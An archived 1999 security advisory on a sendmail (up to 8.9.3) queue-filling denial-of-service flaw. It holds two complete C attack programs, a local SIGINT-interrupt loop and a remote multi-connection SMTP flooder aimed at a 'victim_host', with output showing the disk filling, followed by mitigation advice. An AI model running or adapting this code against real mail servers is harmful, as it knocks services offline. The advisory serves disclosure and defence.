COMMAND

    sendmail

SYSTEMS AFFECTED

    Sendmail up to 8.9.3, others...?

PROBLEM

    Lukasz Luzar found following.  It seems that sendmail ran with  -t
    option  does  NOT  block  SIGINT...   In  that moment while we are
    sending data to  its stdin, when  we will press  CTRL-C process is
    being killed,  but in  queue rests  unfinished letter.   It  stays
    there quite  long -  long enought  to fullfill  partition on  disk
    where  /var/spool/mqueue  resides.   When  it  happends,  sendmail
    doesn't allow new connections - so it is a kind of DoS attack  for
    this service.  It has been tested on all new versions on  sendmail
    up to current (8.9.3).  Example:

    #include <stdio.h>
    #include <unistd.h>
    #include <signal.h>
    #include <sys/wait.h>

    #define DELAY 5              /* time in seconds needed to reach
				    MaxMessageSize limit */
    #define SM_PATH "/usr/sbin/sendmail -t"

    void main()
    {
	    FILE    *fd;
	    int     pid;

	    for(;;) {
		    if(( pid = fork()) == 0) {
			    setpgrp();
			    if(( fd = popen( SM_PATH, "w")) == NULL)
				    fprintf( stderr, "popen error\n");

			    for(;;) fputc( 'A', fd);
		    } else {
			    sleep( DELAY);
			    kill( (-1) * pid, SIGINT);
			    fprintf( stdout, "next\n");
			    wait( NULL);
		    }
	    }
    }

    Here's what you can find running this binary for 30 seconds or so.
    Before:

	# df /
	Filesystem         1024-blocks  Used Available Capacity Mounted on
	/dev/hda1             303251   87681   199909     30%   /
	# ps auwx | grep sendmail
	root      1427  0.0  0.4  1324   816  ?  S  Mar 27   0:00 sendmail:
	accepting connections on port 25
	# ls -l /var/spool/mqueue
	total 0
	#

    After (30 seconds running):

	# df /
	Filesystem         1024-blocks  Used Available Capacity Mounted on
	/dev/hda1             303251  107548   180042     37%   /

    Not too bad but another 30 seconds later another df:

	Filesystem         1024-blocks  Used Available Capacity Mounted on
	/dev/hda1             303251  146235   141355     51%   /

	# ps auwx | grep sendmail
	mail     17144 70.5  0.4  1348   820  p1 R   11:35   0:48
	/usr/sbin/sendmail -t
	root      1427  0.0  0.4  1324   816  ?  S  Mar 27   0:00 sendmail:
	accepting connections on port 25
	(sendmail kindly using 70% of your CPU)

	# ls -l /var/spool/mqueue
	total 115854
	-rw-------   1 mail     mail     118169600 Apr  1 11:37 dfLAA17144
	-rw-------   1 mail     mail            0 Apr  1 11:35 qfLAA17144
	-rw-------   1 mail     mail            0 Apr  1 11:35 xfLAA17144

    Once again a df:

	# df /
	Filesystem         1024-blocks  Used Available Capacity Mounted on
	/dev/hda1             303251  224734    62856     78%   /

    and once the  hard drive becomes  filled sendmail stops  accepting
    connections since it has no temp space.

	# df /
	Filesystem         1024-blocks  Used Available Capacity Mounted on
	/dev/hda1             303251  287590        0    100%   /
	# ps auwx | grep sendmail
	mail     17144 68.5  0.4  1348   820  p1 R   11:35   2:33
	/usr/wrapped/sendmail -t
	root      1427  0.0  0.4  1324   816  ?  S  Mar 27   0:00 sendmail:
	rejecting connections on port 25: min free: 100
	#

    Much more dangerous are remote queue filling DoS attacks.  If  you
    have enabled relaying,  you can use  shown below smdos.c  proggie.
    It   will   quite   fast   fullfill   partition   on   disk  where
    /var/spool/mqueue resides.  You should notice increased LA  during
    attack.  In contrast to  local DoS attacks, control files  created
    by smdos.c are owned by root.root, so ... it's much more difficult
    to prevent offenders from doing it.  Don't forget to change  BSIZE
    definition (in smdos.c) to appropriate victim's host message  size
    limitation (MaxMessageSize option); you can also increase  MAXCONN
    definition.

    /*
    By Michal Szymanski <siwa9@box43.gnet.pl>

    Sendmail DoS (up to 8.9.3);

    Sat Apr  3 00:12:31 CEST 1999
    */

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>

    #undef VERBOSE          /* define it, if MORECONN is undefined */

    #define MORECONN

    // #define RCPT_TO      "foo@ftp.onet.pl"

    #define RCPT_TO "foo@10.255.255.255"

    #ifdef MORECONN
    #define MAXCONN 5
    #endif

    #define BSIZE   1048576         /* df* control file size */
    #define PORT    25

    char buffer[BSIZE];
    int sockfd,x,loop,chpid;

    void usage(char *fname) {
    fprintf(stderr,"Usage: %s <victim_host>\n",fname);
    exit(1);
    }

    void say(char *what) {

    if (write(sockfd,what,strlen(what))<0) {
    perror("write()");
    exit(errno);
    }

    #ifdef VERBOSE
    fprintf(stderr,"<%s",what);
    #endif

    bzero(buffer,BSIZE);

    usleep(1000);

    if (read(sockfd,buffer,BSIZE)<0) {
    perror("read()");
    exit(errno);
    }

    #ifdef VERBOSE
    fprintf(stderr,buffer);
    #endif
    }


    int main(int argc,char *argv[]) {
    struct sockaddr_in serv_addr;
    struct hostent *host;
    char *hostname,hostaddr[20];

    fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");

    if (argc<2) usage(argv[0]);

    #ifdef VERBOSE
    fprintf(stderr,">Preparing address. \n");
    #endif

    hostname=argv[1];

    serv_addr.sin_port=htons(PORT);
    serv_addr.sin_family=AF_INET;

    if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

    #ifdef VERBOSE
    fprintf(stderr,">Getting info from DNS.\n");
    #endif

    if ((host=gethostbyname(hostname))==NULL) {
    herror("gethostbyname()");
    exit(h_errno);
    }

    serv_addr.sin_family=host->h_addrtype;

    bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

    #ifdef VERBOSE
    fprintf(stderr,">Official name of host: %s\n",host->h_name);
    #endif

    hostname=host->h_name;

    sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
				   (unsigned char)host->h_addr[1],
				   (unsigned char)host->h_addr[2],
				   (unsigned char)host->h_addr[3]);

    }
    else sprintf(hostaddr,"%s",hostname);

    #ifdef MORECONN
    for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
    #endif

    for(;;) {

    bzero(&(serv_addr.sin_zero),8);

    if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
    perror("socket()");
    exit(errno);
    }

    if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
    perror("connect()");
    exit(errno);
    }

    #ifdef VERBOSE
    fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
    #endif

    bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
    #ifdef VERBOSE
    fprintf(stderr,buffer);
    #else
    fprintf(stderr,".");
    #endif

    say("helo foo\n");
    say("mail from:root@localhost\n");
    say("rcpt to:" RCPT_TO "\n");
    say("data\n");

    for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

    say("\n.\n");
    sleep(1);
    say("quit\n");

    shutdown(sockfd,2);

    close(sockfd);

    #ifdef VERBOSE
    fprintf(stderr,">Connection closed succesfully.\n");
    #endif
    }
    #ifdef MORECONN
    }
    waitpid(chpid,NULL,0);
    #endif
    return 0;
    }

SOLUTION

    Unfortunately it is believed this is just a variation on the  many
    Denial of Service  attacks possible from  a Unix shell.   In fact,
    it's "yet another queue  filling" exercise.  This  problem affects
    most, if not  all MTAs.   Interestingly, the proposed  DOS is less
    severe than the usual queue filling strategies such as  repeatedly
    submitting  large  mails  to  an  undeliverable  address,  such as
    someone@[10.255.255.255].   The  reason  for  this  is  that   the
    derelict files will  be removed by  the next scheduled  queue run.
    In the  case of  legitimately queued  mail, it  will take the full
    queue return timeout before the queue entry is removed (assuming a
    lack  of  intervention  on  the  administrator's part).  The valid
    point is that shell-based DOS attacks  are hard to deal with.   In
    many  cases,  the  only  recourse  is  to  identify  and  stop the
    offender.  In this case it  is suggested that if this attack  is a
    possibility at your site, you use process accounting to help trace
    the malicious  user.   Also, unless  your script  gets the  timing
    exactly right every time, the queue submission will complete which
    will give more information about the identity of the attacker.  As
    a side note,  setting the MaxMessageSize  option prevents any  one
    message from filling the queue.   Having said that, it does  point
    out that sendmail could log  the username and queue ID  earlier to
    help make tracing this sort of attack even easier.

    Control files (in /var/spool/mqueue) created by 'sendmail -t'  are
    owned  by   root.attacker's_group;  turn   on  quotas   for  group
    'attacker's_group' on the file system containing /var/spool/mqueue
    directory, and your host will be not vulnerable; but you _have to_
    configure your sendmail as _nosuid_ daemon.